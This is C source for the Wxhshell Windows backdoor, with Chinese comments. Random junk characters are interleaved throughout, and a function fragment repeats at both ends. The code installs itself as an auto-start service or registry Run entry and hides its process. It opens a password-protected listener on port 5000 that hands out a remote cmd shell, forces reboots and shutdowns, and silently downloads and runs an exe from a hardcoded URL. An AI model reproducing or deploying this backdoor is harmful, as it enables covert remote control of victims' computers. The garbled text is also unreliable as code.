m wh< PROCNTQSIP NtQueryInformationProcess; spU!t-n67 J'\eS./w|
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ;
+ptF - static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ;+ Co!L ^0-e,d
9h HANDLE hProcess; sPE)m_u PROCESS_BASIC_INFORMATION pbi; emkMR{MY bDZKQ& HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); D=82$$ if(NULL == hInst ) return 0; RdvPsv}D cdJ`Gk g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); (@WDvgi( g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); cJHABdK- NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); }* B qi7E> KXx@
{cv if (!NtQueryInformationProcess) return 0; PQ&Q71 /_:T\`5uO hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); @O<@f8- if(!hProcess) return 0; Y( V3PnH LG Y!j_bD if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; _8x'GK
tU ;vI*ThzdD CloseHandle(hProcess);
m[@%{ +Jo 3rX'` hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Vyq#p9Q if(hProcess==NULL) return 0; -l P ) w$b+R8.n) HMODULE hMod; y=oVUsG char procName[255]; (N*<\6kr unsigned long cbNeeded; qr'x0r|<> \C+*loLs if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); aJy> 38w.sceaT CloseHandle(hProcess); C)J_lI{^ s0\f9D if(strstr(procName,"services")) return 1; // 以服务启动 n{.*El>{ z@Z_] h
return 0; // 注册表启动 xqQ~| } %0+h <=)D=Ax/_[ // 主模块 3XAp Y' int StartWxhshell(LPSTR lpCmdLine) '&.)T2Kw { R8=I)I-8 SOCKET wsl; a+YR5*&[OO BOOL val=TRUE; 4]DAh int port=0; ^)9MzD^_nV struct sockaddr_in door; "RV`L[(P*k }&Wp3EWw if(wscfg.ws_autoins) Install(); |8DH4*y! {z5V{M(|w3 port=atoi(lpCmdLine); vgh^fa!/ j.=UI-&m if(port<=0) port=wscfg.ws_port; |<j,Tr1[ !"`@sd~ WSADATA data; -~vl+L if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; .g/ARwM} []A"]p if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; ]k::J>84 setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ?AeHVQ
:C door.sin_family = AF_INET; PwFQ #Z door.sin_addr.s_addr = inet_addr("127.0.0.1"); zp7V\W;
& door.sin_port = htons(port); Sc;iAi
( Ie G7@ if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { &\J?[>EJ. closesocket(wsl); V-D}U$fw return 1; Sk6b`W7$ } ;mf4U85 =_$XP if(listen(wsl,2) == INVALID_SOCKET) { dN$ 1$B^k closesocket(wsl); a"0B?3*r46 return 1; 4
[R8(U[g } RLYU\@kK? Wxhshell(wsl); 18DTv6?QG WSACleanup(); M>*0r<qn E;6Y? vJ return 0; j!zA+hF( g,t3OnxS? } ~`*1*;Q<H| ?1GY%- // 以NT服务方式启动 ,s1&O` VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) -M7K8 { `ir&]jh.A DWORD status = 0; L#
`lQ"`K DWORD specificError = 0xfffffff; ,N;))3 'i@,~[Z4 serviceStatus.dwServiceType = SERVICE_WIN32; >.DF"]XM serviceStatus.dwCurrentState = SERVICE_START_PENDING; +R|U4`12 serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; k1ipvKxp:8 serviceStatus.dwWin32ExitCode = 0; {Oy9RESqc serviceStatus.dwServiceSpecificExitCode = 0; nc3sty1` serviceStatus.dwCheckPoint = 0; q+YuVQ-fx serviceStatus.dwWaitHint = 0; SQq6X63 \ 1^Kj8*O8e hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Yw6DJY if (hServiceStatusHandle==0) return; 6B7< XXa(305 status = GetLastError(); a{<p'_ if (status!=NO_ERROR) >Y7r\ { ybo#K serviceStatus.dwCurrentState = SERVICE_STOPPED; YniZ(
~^K serviceStatus.dwCheckPoint = 0; |ZS 57c: serviceStatus.dwWaitHint = 0;
S304ncS|M serviceStatus.dwWin32ExitCode = status; u9TzZ serviceStatus.dwServiceSpecificExitCode = specificError; HG2N-<$ SetServiceStatus(hServiceStatusHandle, &serviceStatus); -'I _*fu return; k4S} #!
} l%rx#;=u 285_|!.Y serviceStatus.dwCurrentState = SERVICE_RUNNING; w-
UKMW9" serviceStatus.dwCheckPoint = 0; /h/6&R0l serviceStatus.dwWaitHint = 0; 1|o$X if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); sCVI 2S!L } ;*y|8od
B RXGHD19] // 处理NT服务事件,比如:启动、停止 6!ZVd#OM% VOID WINAPI NTServiceHandler(DWORD fdwControl) \.c]kG>k- { g(mxhD!k switch(fdwControl) D`~JbKV5@^ { d!`lsh@tF case SERVICE_CONTROL_STOP: )8[ym/m serviceStatus.dwWin32ExitCode = 0; q\a[S* serviceStatus.dwCurrentState = SERVICE_STOPPED;
KR&s? serviceStatus.dwCheckPoint = 0; dSwm|kIa serviceStatus.dwWaitHint = 0; J#0GlK@" { 2< p{z SetServiceStatus(hServiceStatusHandle, &serviceStatus); I^WIa"u_ } fs&,w return; ]\OWZ{T'j case SERVICE_CONTROL_PAUSE: W@l+ciZ_ serviceStatus.dwCurrentState = SERVICE_PAUSED;
\;-qdV_JB break; ;SfNKu case SERVICE_CONTROL_CONTINUE: U);OR serviceStatus.dwCurrentState = SERVICE_RUNNING; 4py(R-8\ break; 1 ojhh7< case SERVICE_CONTROL_INTERROGATE: 9u?(^(. break; L59bu/LfL }; ,!`SY) SetServiceStatus(hServiceStatusHandle, &serviceStatus); #e*X0;m } j8pFgnQ SC'BmR"ox // 标准应用程序主函数 ^Z2kq2}a int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) , 7Xqte { *9J1$Wa hL0]R,t;' // 获取操作系统版本 ,E&Bn8L~O OsIsNt=GetOsVer(); u,fA! GetModuleFileName(NULL,ExeFile,MAX_PATH); U|8[#@r F<5nGx cC // 从命令行安装 "9qp"% if(strpbrk(lpCmdLine,"iI")) Install(); tVunh3- :y\09)CJK // 下载执行文件 S."7+g7Ar if(wscfg.ws_downexe) { I0DM=V>; if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) hm3jpWi8 WinExec(wscfg.ws_filenam,SW_HIDE); r=qLaPG } yIOLs}!SF qbXz7s*{ if(!OsIsNt) { fE^uF[-7? // 如果时win9x,隐藏进程并且设置为注册表启动 job[bhK'Jt HideProc(); sAVefL? StartWxhshell(lpCmdLine); @&5 A&( } 4b4QbJ$ else aM$\#Cx if(StartFromService()) eaQ90B4 // 以服务方式启动 f/ajejYo?, StartServiceCtrlDispatcher(DispatchTable); Z v4<b else !h>D;k6 e // 普通方式启动 R uLvG+ StartWxhshell(lpCmdLine); }kE87x' /&h+t^l_Qj return 0; ]ZTcOf } XvskB[\ .|uLt J @rO4y` OC_M4{9/ =========================================== 5 [4Z=RP XrS\+y3 L,~MicgV ^uW%v2 uUG*0Lj !9r:&n.\ " oEu>}JD ANMYX18M #include <stdio.h> 0KAj]5nvb #include <string.h> ID4~Gn #include <windows.h> ^Dr.DWi{$ #include <winsock2.h> 0+EN@Y^dAV #include <winsvc.h> DZe}y^F #include <urlmon.h> 5lTD]d Q.k
:\m*h #pragma comment (lib, "Ws2_32.lib") /s
c.C #pragma comment (lib, "urlmon.lib") ;LRW
8Wd M$A#I51 #define MAX_USER 100 // 最大客户端连接数 &aPl`"j #define BUF_SOCK 200 // sock buffer %jEY3q #define KEY_BUFF 255 // 输入 buffer <tbZj=*O/o i"HgvBHx #define REBOOT 0 // 重启 aI(>]sWJ #define SHUTDOWN 1 // 关机 e7xj_QH bU`=* #define DEF_PORT 5000 // 监听端口 v7IzDz6gF SMoz:J*Q( #define REG_LEN 16 // 注册表键长度 f-g1[!"F #define SVC_LEN 80 // NT服务名长度 k=/eM$": g{>^`JtP // 从dll定义API 5+P@sD typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); gLQ #4H
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ^7aN2o3{ typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); >fzwFNdo typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); sG,+
[$a<b/4 // wxhshell配置信息 5|w&dM struct WSCFG { G#[*|+f8 int ws_port; // 监听端口 n#*`!# char ws_passstr[REG_LEN]; // 口令 ~|lIC !q int ws_autoins; // 安装标记, 1=yes 0=no kIvvEh<L= char ws_regname[REG_LEN]; // 注册表键名 <\@1Zz@ms char ws_svcname[REG_LEN]; // 服务名 }B q^3?,#{ char ws_svcdisp[SVC_LEN]; // 服务显示名 47UO*oLS char ws_svcdesc[SVC_LEN]; // 服务描述信息 T&xt`| char ws_passmsg[SVC_LEN]; // 密码输入提示信息 :?CQuEv- int ws_downexe; // 下载执行标记, 1=yes 0=no Y
?'tUV char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" &Un6ay char ws_filenam[SVC_LEN]; // 下载后保存的文件名 PuXUuJx( :Q@)*kQH }; /smiopFcq G>
\Tbx // default Wxhshell configuration 6)e5zKW!? struct WSCFG wscfg={DEF_PORT, ?znSx}t "xuhuanlingzhe", `cr(wdvI 1,
/\=MBUN "Wxhshell", |}[nH> "Wxhshell", |dmh "WxhShell Service", XM~~y~j "Wrsky Windows CmdShell Service", jm3G?Vnq "Please Input Your Password: ", pCU*@c! 1, I^3:YVR& "http://www.wrsky.com/wxhshell.exe", LJQJ\bT? "Wxhshell.exe" Cca0](R*& }; 8o-bd_ _:J*Cm[q // 消息定义模块 Z$'IBv char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ]gEhE char *msg_ws_prompt="\n\r? for help\n\r#>"; $-vo}k%M char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; . L;@=Yg) char *msg_ws_ext="\n\rExit."; ,EEPh>cXc char *msg_ws_end="\n\rQuit."; K`k'}(vj char *msg_ws_boot="\n\rReboot..."; nWWM2v char *msg_ws_poff="\n\rShutdown..."; 8`v$liH char *msg_ws_down="\n\rSave to "; H?yE3w Q:MhjkOr} char *msg_ws_err="\n\rErr!"; cA;js;x@ char *msg_ws_ok="\n\rOK!"; x5Zrz<Y$w RuAlB* char ExeFile[MAX_PATH]; Kt/)pc int nUser = 0; AQ{zx1^2>K HANDLE handles[MAX_USER]; V#83! int OsIsNt; SEF6B45}1 HDIk9WC^ SERVICE_STATUS serviceStatus; 2t1I3yA'{z SERVICE_STATUS_HANDLE hServiceStatusHandle; `/Y+1 aD q'S
=Eav8 // 函数声明
cd. brM int Install(void); .%xzT J=! int Uninstall(void); >SCGK_Cr2 int DownloadFile(char *sURL, SOCKET wsh); Mm=Mz int Boot(int flag); rwqv V^ void HideProc(void); ;D2E_!N
dt int GetOsVer(void); !3}deY8;# int Wxhshell(SOCKET wsl); t\R; < x void TalkWithClient(void *cs); kA#vByf`v int CmdShell(SOCKET sock); 3|kgTB- int StartFromService(void); 7_\Mwy{P int StartWxhshell(LPSTR lpCmdLine); g+[kde;(^ fA^Em)cs2 VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); k%Vv?{g VOID WINAPI NTServiceHandler( DWORD fdwControl ); raB+,Oi$G 0[a}n6XTk // 数据结构和表定义 P-Su5F SERVICE_TABLE_ENTRY DispatchTable[] = 2x}6\t { /c-nE3+rn {wscfg.ws_svcname, NTServiceMain}, ,Og4
?fS {NULL, NULL} }e{qW }; K|^wc$ xtfRrX^ // 自我安装 bEH
de*q( int Install(void) 8^yJqAXK { .y4&rF$n char svExeFile[MAX_PATH]; ?nFO:N< HKEY key; d*]Ew=^L strcpy(svExeFile,ExeFile); pyB~M9Bp/ S GcBmjP // 如果是win9x系统,修改注册表设为自启动 sQ1jrkm if(!OsIsNt) { d53 L65[ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { w:ULi3 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 1B:aC|B RegCloseKey(key); Q~,YbZ-7 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { hR)2xz RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); jBtj+TL8 RegCloseKey(key); UpUp8%fCU return 0; iI?{"}BZ } e<=;i" |
} Z=$T1| } QT!5l` else { jNl/!l7B -|_ir-j // 如果是NT以上系统,安装为系统服务 DJ;g|b SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 4tc:. if (schSCManager!=0) )ly
^Ox { g`,AaWlF SC_HANDLE schService = CreateService ?&c:q3_-Z ( 1;r69e schSCManager, #MgvG, wscfg.ws_svcname, k DsIp= wscfg.ws_svcdisp, Tj`5L6N;8 SERVICE_ALL_ACCESS, s:|M]. SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , y!Cc?$]_Y SERVICE_AUTO_START, ^^?q$1k6r* SERVICE_ERROR_NORMAL, l},NcPL` svExeFile, gA^q^>7 NULL, 8b&uU [ NULL, , Ww NULL, SBf FZw) NULL, #Ob]]!y NULL le
.'pP@ ); k`YYZt]@ if (schService!=0) ]n
v( aM?d { tS?lB05TOR CloseServiceHandle(schService); 5vOC CW CloseServiceHandle(schSCManager); }STYG` strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); T[uDZYx strcat(svExeFile,wscfg.ws_svcname); ]> G&jd7 if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { igkz2S I RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); M7dU@ Ag RegCloseKey(key); i@$*Csj\9* return 0; LI
W*4r! } iS: #o> } P%>?[9!Nt CloseServiceHandle(schSCManager); v,1F--v } $|<m9CW } >S#ul? tFh|V
pB return 1; I$jvXl=$ } \ V%_hl 's%q // 自我卸载 ygViPz<J int Uninstall(void) By((,QpB { =!0I_L/ HKEY key; HD-Erop ([k7hUP if(!OsIsNt) { Pv){sYUh if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ltA/ RegDeleteValue(key,wscfg.ws_regname); GjQfi'vCk RegCloseKey(key); FC>d_=V if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { t_c?Wp~tH RegDeleteValue(key,wscfg.ws_regname); HnZPw&* RegCloseKey(key); fE25(wCz7 return 0; lOerrP6f( } AK/:I>M } V2 `>
]/| } TQ'E5^ else { X r_pgW| `gguip-C SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); >Y&KTSD" if (schSCManager!=0) Mg? L-C { \
P/W8{ SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); [)|+F
wJ if (schService!=0) ]Yz'8uts { TOT
PzB if(DeleteService(schService)!=0) { uHvaZMu CloseServiceHandle(schService); !v>ew9 CloseServiceHandle(schSCManager); ! D1zXXq return 0; Gp|JU Fo } (F&YdWe: CloseServiceHandle(schService); uxDLDA$; } {bkGYx5.C CloseServiceHandle(schSCManager); =vEkMJOs } _s>^?x} } =5s$qb?# ?qT(3C9p return 1; 0XIxwc0Iw } ]w22@s 8/q*o>[? // 从指定url下载文件 -!R
l(if int DownloadFile(char *sURL, SOCKET wsh) UR:n5V4 { 0k1MKzi Q HRESULT hr; FfYsSq2l char seps[]= "/"; Xj,j0 char *token; 5
,ZRP'oI char *file; RKe?. char myURL[MAX_PATH]; 2"M_sL char myFILE[MAX_PATH]; Au=kSSB FsY`nWwg strcpy(myURL,sURL); /(zB0TEd token=strtok(myURL,seps); viV-e$s`. while(token!=NULL) :?#cDyW) { l ?/gWD^ file=token; 3@HIpQM3 token=strtok(NULL,seps); e7|d=[kW } =,E'~P C->[$HcRa GetCurrentDirectory(MAX_PATH,myFILE); v>k b^38 strcat(myFILE, "\\"); AeQC: strcat(myFILE, file); /MxCvEE send(wsh,myFILE,strlen(myFILE),0); !Bncx`pl send(wsh,"...",3,0); SyB-iQn hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ._(z~3s if(hr==S_OK) 3G(skphE return 0; >I:9'"` else Esa6hU# return 1; [Ekgft& 5j1 IH,yW } p1?J a;yV#Y // 系统电源模块 auoA int Boot(int flag) skSNzF7' { `#<eA*^g5 HANDLE hToken; 0k7"H]J TOKEN_PRIVILEGES tkp; J\GKqt;5@ U%Ol^xl if(OsIsNt) { jL2MW(d^Q OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); T-!|l7V~f LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); '%$-]~ tkp.PrivilegeCount = 1; %9.bu|`KK tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; h%|9]5(= AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); b@F_7P% if(flag==REBOOT) { <H_LFrB$W if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) WMA*.$Zi return 0; `|NevpXY1 } "mG!L$ else { z22N7W=7 if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) {cX7<7N return 0; B8>FCF&}E } 2nYiG)tg } roL]v\tr else { ^
M8k if(flag==REBOOT) { XSls]o
s if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) -MsuBf return 0; "SDsISWd } AF
QnCl Of else { Q!M sy<v if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) >sB=\ return 0; LsUFz_ } 739l%u }< } :az!H"4W/ xQZMCd return 1; <vO8_2,V- } <w%DyRFw3 c|3h| // win9x进程隐藏模块 r)(i{:@r` void HideProc(void) X%*brl$D { S/) Ho:}Bn
g HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); E^'C" 6 if ( hKernel != NULL ) JO]`LF] { :v''"+\ pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ,!8*g[^O ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 4bFv"b FreeLibrary(hKernel); m|(I} |kT3 } vl>_e B44]NsYks~ return; i:AjWC@] } ~4}*Dhsh 5J?bE?X // 获取操作系统版本 lu<Np9/5< int GetOsVer(void) o&*1U"6D { OME!W w OSVERSIONINFO winfo; #a/n5c&6/ winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); G >I. GetVersionEx(&winfo); s}z(|IrH if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ^?81.b|qb return 1; R4[. n@ else MM/BJ return 0; /5a$@% } U+I3 P &8IWDx.7} // 客户端句柄模块 mNGb}
lR int Wxhshell(SOCKET wsl) V;/
XG}M { w;z@py SOCKET wsh; WXRHG)nvL struct sockaddr_in client; {[H4G,QK
DWORD myID; ~x76{.gT #J'Z5)i| while(nUser<MAX_USER) D>,$c { DtI%-I. int nSize=sizeof(client); rin >r0o wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 1e+h9|hGYw if(wsh==INVALID_SOCKET) return 1; 0Ax>gj-` Hz8Jgp handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); rjhs? if(handles[nUser]==0) 'Y,+D`&i) closesocket(wsh); )< X=z else PxdJOtI" nUser++; ft*G*.0kO } >'BU* WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); sPZV>Q:zY IIYX|;1}X return 0; nvm1.}=Cnd } ZlwcwoPib vr8J*36{ // 关闭 socket YA1{-7'Q void CloseIt(SOCKET wsh) ]JhDRJ\ { 7%~VOB closesocket(wsh); Bh.6:9{ nUser--; '_Hb}'sFI ExitThread(0);
b{9HooQ{ } $j$\ccG XPR:_ // 客户端请求句柄 [:/7OM void TalkWithClient(void *cs) /cn/[O9 { b[QCM/ u0(hVK`": SOCKET wsh=(SOCKET)cs; Q>#)LHX char pwd[SVC_LEN]; Yg]FF`{p= char cmd[KEY_BUFF]; ;$k?&nhY char chr[1]; [57V8% int i,j; }(f,~?CP] $u0+29T2O while (nUser < MAX_USER) { 1.ugXD FW6E)df if(wscfg.ws_passstr) { f%(e,KgW= if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); \?p9qR;"4 //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); oeRYyJ //ZeroMemory(pwd,KEY_BUFF); b ?= i=0; gFH;bZU while(i<SVC_LEN) { V2<k0@y _bvtJZ3i // 设置超时 SIyS.!k> fd_set FdRead; HY%6eUhj struct timeval TimeOut; Z7k1fv:S^ FD_ZERO(&FdRead); ~Krg8s!F& FD_SET(wsh,&FdRead); WZDokSR TimeOut.tv_sec=8; Z_hBd['! TimeOut.tv_usec=0; 2#Q"@ int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); l[!C-Tq if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); NjCLL`?f FSXKH {Z if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); &p(*i@Ms pwd=chr[0]; qH}62DP3 if(chr[0]==0xd || chr[0]==0xa) { R`<{W(J;r pwd=0; $`+~QR!h break; FB^dp} } {0m[:af& i++; R4K eUn" } _4x[}e7KF nd*!`P // 如果是非法用户,关闭 socket 3GuMiht5 if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ~[bMfkc3 } G~mB=] El8.D3 send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); P^d., send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); lk *QV d$G%F $BTs while(1) { N]P*6sf-6 $=6kh+n@ ZeroMemory(cmd,KEY_BUFF); EJSgTtp2 E6KBpQcd[ // 自动支持客户端 telnet标准 5{x[EXE' j=0; +T8XX@# while(j<KEY_BUFF) { ~{]m8a/ `6 if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); pC?1gc1G cmd[j]=chr[0]; 2L{:H if(chr[0]==0xa || chr[0]==0xd) { C#u)$Ds cmd[j]=0; p~{%f#V break; 2
3XAkpzp$ } B?zS_Ue j++; kgI.kT(= } 1(\I9L&J
MCO$>QL // 下载文件 :_b
=Km< if(strstr(cmd,"http://")) { OM&\Mo send(wsh,msg_ws_down,strlen(msg_ws_down),0); MRY)m@*+6 if(DownloadFile(cmd,wsh)) 5|B(K @< send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2ShlYW@~ else ~bm2_/RL send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); &4$43\(D } +^% &8< else { = ,E(!Sp _xZb;PbFE switch(cmd[0]) { 0kr& c;~ -*{(#k$ // 帮助 `[HoxCV3o case '?': { otnY{r* send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); +^3L~? break; o\V4qekk } Gpp}Jpj // 安装 22(]x}` case 'i': { +sq,!6#G if(Install()) >C d&K9H send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]Pl6:FB8%@ else /JY ph^3][ send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ^eT>R,aB break; ,Z\,IRn } \?]HqPibx // 卸载 *V<2\- case 'r': { 6'lT`E| if(Uninstall()) [q|Q]O0 send(wsh,msg_ws_err,strlen(msg_ws_err),0); #mFAl|O else VDI S`E send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); >IydXmTy break; Sy7^;/(ZZ } |Bt x&'m // 显示 wxhshell 所在路径 Q~8&pP8I! case 'p': { Env}g CX char svExeFile[MAX_PATH]; a9q?9X strcpy(svExeFile,"\n\r");
C(Gb strcat(svExeFile,ExeFile); T/.y(8!0I8 send(wsh,svExeFile,strlen(svExeFile),0); ra#)*fG,~ break; aNf3 R; * } n7YWc5:CaL // 重启 MicVNs case 'b': { IXk'?9 send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); we).8%)' if(Boot(REBOOT)) ]R.Vq\A%S send(wsh,msg_ws_err,strlen(msg_ws_err),0); vWU4ZBT8G else { Tqh Rs closesocket(wsh); uN^qfJ'@
> ExitThread(0); *[/Xhx" } ?ut juMdl break; .&!{8jBX } 38S&7>0@|q // 关机 *:\9T#h case 'd': { `pS)qx.a send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); H
{Wpf9_
K if(Boot(SHUTDOWN)) ) x O_ send(wsh,msg_ws_err,strlen(msg_ws_err),0); -Ce4px?3 else { 745V!#3!M
closesocket(wsh); RloPP ExitThread(0); 03jBN2[! } 5|={1Lp24g break; 0'2{[xF } :1 // 获取shell P VW9iT+c case 's': { hl~F1"q) CmdShell(wsh); `-`iS? closesocket(wsh); |(8h:g ExitThread(0); "TNUw&ih break; . T>}O0L" } *X55:yha // 退出 G~L#vAY case 'x': { ^\9G{}VY send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); .
zMM86 c CloseIt(wsh); 7I3CPc$ break; xE[tD? M{ } gQt@xNO // 离开 1VsEic case 'q': { HWAqJb [ send(wsh,msg_ws_end,strlen(msg_ws_end),0); e-av@a3 closesocket(wsh); s+~Slgl WSACleanup(); L2A#OZZu exit(1); &H>dE]Hq, break; PP`n>v=n } j %0_!*#3 } h\ek2K } 7anpz% dNt|"9~& // 提示信息 S.4YC>E if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); oeKc-[r } DfFPGFv } ]>i0;RME />7/S^ return; .T
X& X } 1g.9R@Kc$ nx]b\A // shell模块句柄 $q+`GXc- int CmdShell(SOCKET sock) ^*W<$A_ { bj^m<} STARTUPINFO si; uQ1;+P:L ZeroMemory(&si,sizeof(si)); @]3Rw[%z si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 4>#^Pk?Ra si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ;a)\5Uy PROCESS_INFORMATION ProcessInfo; @zq{#7%z char cmdline[]="cmd"; 8{<cqYCR CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 1uQf} return 0; H)+kN'J } /RmCMT {G&g+9c& // 自身启动模式 ]YzAcB.R int StartFromService(void) H
>{K]7D/y { ?{IvA: typedef struct Z.(x|Q9 { C(Y6t1 DWORD ExitStatus; /Q_\h+` DWORD PebBaseAddress; N^N?!I DWORD AffinityMask; a~"X.xT\R DWORD BasePriority; 0-HE, lv ULONG UniqueProcessId; 9F4|T7? ULONG InheritedFromUniqueProcessId; 3NWAyCq- } PROCESS_BASIC_INFORMATION; 21 j+c{O ;~;St>?\R\ PROCNTQSIP NtQueryInformationProcess; h)`vc#"65k `:4cb$ static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ijYLf.R< static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; v a;wQ~& d2C:3-4 HANDLE hProcess; rXX|?9' PROCESS_BASIC_INFORMATION pbi; [40 YoVlfM zl?N1>KS HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ~MOCr if(NULL == hInst ) return 0; b2%[9)"I. ,oe{@z{*@ g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Dw3!
